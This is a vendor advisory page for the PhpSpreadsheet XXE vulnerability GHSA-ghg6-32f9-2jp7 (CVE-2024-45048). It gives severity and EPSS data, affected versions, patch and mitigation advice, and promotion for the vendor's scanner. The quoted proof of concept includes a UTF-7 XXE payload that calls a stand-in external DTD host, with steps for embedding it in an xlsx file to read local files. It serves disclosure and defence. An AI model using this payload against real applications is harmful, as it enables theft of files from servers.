How severe is GHSA-ghg6-32f9-2jp7?

GHSA-ghg6-32f9-2jp7 has a CVSS score of 8.8/10, rated HIGH. Immediate patching is strongly recommended.

Which packages are affected by GHSA-ghg6-32f9-2jp7?

GHSA-ghg6-32f9-2jp7 affects the following packages: phpoffice/phpspreadsheet (Packagist), phpoffice/phpspreadsheet (Packagist), phpoffice/phpspreadsheet (Packagist), phpoffice/phpexcel (Packagist). Ecosystems affected: Packagist.

How do I fix GHSA-ghg6-32f9-2jp7?

Update phpoffice/phpspreadsheet to 1.29.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-ghg6-32f9-2jp7 is resolved across your whole dependency graph.

How do I detect GHSA-ghg6-32f9-2jp7 in my Packagist dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for phpoffice/phpspreadsheet. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

How do I mitigate GHSA-ghg6-32f9-2jp7 if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against GHSA-ghg6-32f9-2jp7?

O3 pinpoints whether GHSA-ghg6-32f9-2jp7 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Is GHSA-ghg6-32f9-2jp7 actively exploited in the wild?

Yes. There are 1 known exploit references for GHSA-ghg6-32f9-2jp7, including 1 in-the-wild exploitation observed on GitHub and other sources. Treat this as actively exploitable and prioritize patching immediately. All exploit code should only be run in an isolated sandbox environment for research or authorized testing — never against production systems without explicit written authorization.

What is the EPSS score for GHSA-ghg6-32f9-2jp7?

GHSA-ghg6-32f9-2jp7 has an EPSS (Exploit Prediction Scoring System) score of 0.6%, placing it in the 43th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

What type of vulnerability is GHSA-ghg6-32f9-2jp7?

GHSA-ghg6-32f9-2jp7 is classified as XML External Entity (XXE) (CWE-611). This weakness type describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation.

When was GHSA-ghg6-32f9-2jp7 published, and has it been updated?

GHSA-ghg6-32f9-2jp7 was published on August 29, 2024 and was last updated on March 6, 2025. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

🐘 Packagist

GHSA-ghg6-32f9-2jp7

HIGH

XXE in PHPSpreadsheet encoding is returned

Also known asCVE-2024-45048

Published

Aug 29, 2024

Updated

Mar 6, 2025

Affected

4 pkgs

Patched

3 / 4

Exploits

1 known

EPSS Exploitation Probability

via FIRST.org ↗

0.6%probability of exploitation in next 30 days

Lower Risk43th percentile+0.41%

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

4 pkgs affected

🐘phpoffice/phpspreadsheet🐘phpoffice/phpspreadsheet🐘phpoffice/phpspreadsheet🐘phpoffice/phpexcel

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Bypassing the filter allows a XXE-attack. Which is turn allows attacker to obtain contents of local files, even if error reporting muted by @ symbol. (LFI-attack)

Details

Check $pattern = '/encoding="(.*?)"/'; easy to bypass. Just use a single quote symbol '. So payload looks like this:

<?xml version="1.0" encoding='UTF-7' standalone="yes"?>
+ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://example.com/file.dtd"> %xxe;]>

If you add this header to any XML file into xlsx-formatted file, such as sharedStrings.xml file, then xxe will execute.

PoC

Create simple xlsx file
Rename xlsx to zip
Go to the zip and open the xl/sharedStrings.xml file in edit mode.
Replace <?xml version="1.0" encoding="UTF-8" standalone="yes"?> to

<?xml version="1.0" encoding='UTF-7' standalone="yes"?>
+ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://%webhook%/file.dtd"> %xxe;]>

Save sharedStrings.xml file and rename zip back to xlsx.
Use minimal php code that simply opens this xlsx file:

use PhpOffice\PhpSpreadsheet\IOFactory;
require __DIR__ . '/vendor/autoload.php';
$spreadsheet = IOFactory::load("file.xlsx");

You will receive the request to your http://%webhook%/file.dtd
Dont't forget that you can use php-wrappers into xxe, some php:// wrapper payload allows fetch local files.

Impact

Read local files lfi

Affected Packages

4 total 3 fixed

Ecosystem	Package	Vulnerable range	Fix
🐘Packagist	`phpoffice/phpspreadsheet`	all versions	1.29.1
🐘Packagist	`phpoffice/phpspreadsheet`	≥ 2.2.0&&< 2.2.1	2.2.1
🐘Packagist	`phpoffice/phpspreadsheet`	≥ 2.0.0&&< 2.1.1	2.1.1
🐘Packagist	`phpoffice/phpexcel`	all versions	No fix

Exploits & PoCs

Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.

PHPSpreadsheet is a pure PHP library for reading and writing spreadsheet…

github.comNVDSep 2024

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for phpoffice/phpspreadsheet. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update phpoffice/phpspreadsheet to 1.29.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-ghg6-32f9-2jp7 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-ghg6-32f9-2jp7 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-ghg6-32f9-2jp7. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary Bypassing the filter allows a XXE-attack. Which is turn allows attacker to obtain contents of local files, even if error reporting muted by @ symbol. (LFI-attack) ### Details Check ` $pattern = '/encoding="(.*?)"/';` easy to bypass. Just use a single quote symbol `'`. So payload looks like this: ``` <?xml version="1.0" encoding='UTF-7' standalone="yes"?> +ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://example.com/file.dtd"> %xxe;]> ``` If you add this header to any XML file into xlsx-formatted file, such as sharedStrings.xml file, then xxe will execute. ### PoC 1) Create s

O3 Security · Impact-Aware SCA

Is GHSA-ghg6-32f9-2jp7 in your dependencies?

O3 detects GHSA-ghg6-32f9-2jp7 across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

Scan my dependencies How O3 SCA works